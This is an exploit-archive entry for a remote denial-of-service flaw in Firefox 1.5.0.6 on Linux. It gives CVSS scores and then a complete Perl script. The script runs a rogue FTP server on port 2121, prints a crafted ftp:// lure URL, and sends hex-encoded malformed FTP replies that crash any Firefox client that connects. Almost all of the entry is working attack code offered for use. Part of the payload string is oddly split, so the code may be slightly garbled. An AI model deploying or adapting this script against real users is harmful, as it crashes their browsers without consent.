(exploit) firefox 1.5.0.6 linux DoS

2006-08-24 / 2006-08-25
Credit: tomas
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/perl #author: tomas kempinsky use strict; use Socket; my $port = shift || 2121; my $proto = getprotobyname('tcp'); my $payload = "\x32\x32\x30\x20\x5a\x0d\x0a\x33". "\x33\x31\x20\x5a\x0d\x0a\x35\x30". "\x30\x20\x44\x6f\x53\x0d\x0a\x35\". "x30\x30\x20\x5a\x0d\x0a"; socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!"; my $paddr = sockaddr_in($port, INADDR_ANY); bind(SERVER, $paddr) or die "bind: $!"; listen(SERVER, SOMAXCONN) or die "listen: $!"; print "ftp://D:oS@\x0localhost:2121/\n"; my $client_addr; while ($client_addr = accept(CLIENT, SERVER)) { # find out who connected my ($client_port, $client_ip) = sockaddr_in($client_addr); my $client_ipnum = inet_ntoa($client_ip); my $client_host = gethostbyaddr($client_ip, AF_INET); print ": $client_host", "[$client_ipnum]\n"; # send them a message, close connection print CLIENT $payload; close CLIENT; }


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